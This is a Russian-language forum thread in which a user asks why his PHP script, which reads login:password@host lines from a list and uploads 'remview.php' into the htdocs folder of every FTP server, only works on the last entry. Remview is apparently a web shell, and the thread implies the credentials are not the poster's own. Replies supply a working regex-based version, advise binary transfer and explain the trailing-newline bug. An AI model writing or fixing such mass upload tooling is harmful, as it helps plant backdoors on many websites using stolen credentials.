Warning: ftp_connect() [function.ftp-connect]: php_network_getaddresses: getaddrinfo failed: Этот хост неизвестен. in C:\www\put\put_ftp.php on line 13
Warning: ftp_login() expects parameter 1 to be resource, boolean given in C:\www\put\put_ftp.php on line 14
Warning: ftp_put() expects parameter 1 to be resource, boolean given in C:\www\put\put_ftp.php on line 15
Warning: ftp_close() expects parameter 1 to be resource, boolean given in C:\www\put\put_ftp.php on line 20
запись на фтп
написал скрипт, который считывает из файла строки вида login:pass@domain.com, подключается к каждому фтп и загружает файл.
это он должен так работать:D , но проблема вот в чем, он загружает файл только на последний в списке фтп, в чем может быть проблема? :confused:
Код:
function fcount_ln($fnz) {
if(file_exists($fnz) && $fhs = fopen($fnz, 'r')) {
$count = 0;
while(!feof($fhs)) {
fgets($fhs);
$count++;
}
fclose($fhs);
return $count;
}
}
$ftp_fname = "ftp_list.txt";
$ftp_op = fopen($ftp_fname,"r");
$count_ftp_str = fcount_ln($ftp_fname);
for($i = 0; $i < $count_ftp_str; ++$i) {
$str = file($ftp_fname);
$str = $str[$i];
$mass_exp = explode(":",$str);
$ftp_user_name = $mass_exp[0];
$pass_vs_dom = $mass_exp[1];
$pnd_exp = explode("@",$pass_vs_dom);
$ftp_user_pass = $pnd_exp[0];
$ftp_server = $pnd_exp[1];
$file = 'remview.php';
$remote_file = 'htdocs/remview.php';
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
echo "$file загружен на $ftp_server\n<br/>";
} else {
echo "Не удалось загрузить $file на $ftp_server\n<br/>";
}
ftp_close($conn_id);
}
fclose($ftp_op);
if(file_exists($fnz) && $fhs = fopen($fnz, 'r')) {
$count = 0;
while(!feof($fhs)) {
fgets($fhs);
$count++;
}
fclose($fhs);
return $count;
}
}
$ftp_fname = "ftp_list.txt";
$ftp_op = fopen($ftp_fname,"r");
$count_ftp_str = fcount_ln($ftp_fname);
for($i = 0; $i < $count_ftp_str; ++$i) {
$str = file($ftp_fname);
$str = $str[$i];
$mass_exp = explode(":",$str);
$ftp_user_name = $mass_exp[0];
$pass_vs_dom = $mass_exp[1];
$pnd_exp = explode("@",$pass_vs_dom);
$ftp_user_pass = $pnd_exp[0];
$ftp_server = $pnd_exp[1];
$file = 'remview.php';
$remote_file = 'htdocs/remview.php';
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
echo "$file загружен на $ftp_server\n<br/>";
} else {
echo "Не удалось загрузить $file на $ftp_server\n<br/>";
}
ftp_close($conn_id);
}
fclose($ftp_op);
Код:
$ftp_fname = "ftp_list.txt";
foreach (file($ftp_fname) as $str) {
$mass_exp = explode(":",$str);
$ftp_user_name = $mass_exp[0];
$pass_vs_dom = $mass_exp[1];
$pnd_exp = explode("@",$pass_vs_dom);
$ftp_user_pass = $pnd_exp[0];
$ftp_server = $pnd_exp[1];
$file = 'remview.php';
$remote_file = 'htdocs/remview.php';
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
echo "$file загружен на $ftp_server\n<br/>";
} else {
echo "Не удалось загрузить $file на $ftp_server\n<br/>";
}
ftp_close($conn_id);
}
foreach (file($ftp_fname) as $str) {
$mass_exp = explode(":",$str);
$ftp_user_name = $mass_exp[0];
$pass_vs_dom = $mass_exp[1];
$pnd_exp = explode("@",$pass_vs_dom);
$ftp_user_pass = $pnd_exp[0];
$ftp_server = $pnd_exp[1];
$file = 'remview.php';
$remote_file = 'htdocs/remview.php';
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
echo "$file загружен на $ftp_server\n<br/>";
} else {
echo "Не удалось загрузить $file на $ftp_server\n<br/>";
}
ftp_close($conn_id);
}
но та же проблема осталась, после каждой попытки подключения к фтп (кроме последней) вытает такое
Код:
не дай Бог админы всех серверов вычислят тебя, найдут и жестоко накажут ;)
та если бы десяток....я бы в ручную позаливал ;)
Цитата:
после каждой попытки подключения к фтп (кроме последней) вытает такоепосле каждой попытки подключения к фтп (кроме последней) вытает такое
Значит неправильные у тебя строки подключения.
строки то правильные, менял их местами по всякому... все равно подключение только на последний (какой бы он не был)
Код:
$ftp_fname = "ftp_list.txt";
foreach (file($ftp_fname) as $str) {
preg_match("/^(.+):(.+)@(.*)$/", $str, $ConnStr);
$file = 'remview.php';
$remote_file = 'htdocs/remview.php';
$conn_id = ftp_connect($ConnStr[3]);
$login_result = ftp_login($conn_id, $ConnStr[1], $ConnStr[2]);
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
echo "$file загружен на $ftp_server\n<br/>";
} else {
echo "Не удалось загрузить $file на $ftp_server\n<br/>";
}
ftp_close($conn_id);
}
foreach (file($ftp_fname) as $str) {
preg_match("/^(.+):(.+)@(.*)$/", $str, $ConnStr);
$file = 'remview.php';
$remote_file = 'htdocs/remview.php';
$conn_id = ftp_connect($ConnStr[3]);
$login_result = ftp_login($conn_id, $ConnStr[1], $ConnStr[2]);
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
echo "$file загружен на $ftp_server\n<br/>";
} else {
echo "Не удалось загрузить $file на $ftp_server\n<br/>";
}
ftp_close($conn_id);
}
Этот код я даже проверил на работоспособность - работает.
ЗЫ. Кстати, а почему у тебя FTP_ASCII написано? Всё нужно лить бинарно... Абсолютно всё...
пасиб :)
Так заработало?
Я объясню причину, почему у тебя работала только последняя строчка.
Когда ты делал [COLOR=#0000bb]$pnd_exp [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000bb]explode[/COLOR][COLOR=#007700]([/COLOR][COLOR=#dd0000]"@"[/COLOR][COLOR=#007700],[/COLOR][COLOR=#0000bb]$pass_vs_dom[/COLOR][COLOR=#007700]); [COLOR=black]в [COLOR=#0000bb]$pnd_exp[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000bb]1[/COLOR][COLOR=#007700]] [COLOR=black]попадала строка с символом конца строки. Согласись, этот символ лишний в имени сервера. А в последней строке этого символа, скорее всего нет.[/COLOR][/COLOR][/COLOR][/COLOR]